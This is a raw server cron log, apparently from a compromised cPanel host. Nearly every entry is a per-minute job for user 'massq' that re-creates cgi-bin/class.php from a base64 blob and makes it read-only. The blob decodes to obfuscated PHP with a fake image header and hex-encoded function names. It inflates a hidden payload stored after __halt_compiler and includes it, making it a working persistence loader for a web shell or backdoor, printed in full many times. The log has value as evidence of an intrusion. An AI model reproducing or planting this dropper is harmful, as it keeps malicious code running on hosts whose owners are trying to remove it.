Nov 10 21:31:01 server CROND[387]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:32:01 server CROND[1091]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:33:01 server CROND[1690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:34:01 server CROND[2627]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:35:01 server CROND[3388]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 21:35:01 server CROND[3389]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:35:01 server CROND[3390]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:35:01 server CROND[3391]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 21:35:01 server CROND[3392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:36:01 server CROND[4202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:37:01 server CROND[4955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:38:01 server CROND[5635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:39:01 server CROND[6497]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 21:39:01 server CROND[6498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:40:01 server CROND[7262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:40:01 server CROND[7265]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:40:01 server CROND[7264]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 21:40:01 server CROND[7266]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:41:01 server CROND[7964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:42:01 server CROND[8427]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 21:42:01 server CROND[8428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:43:01 server CROND[9353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
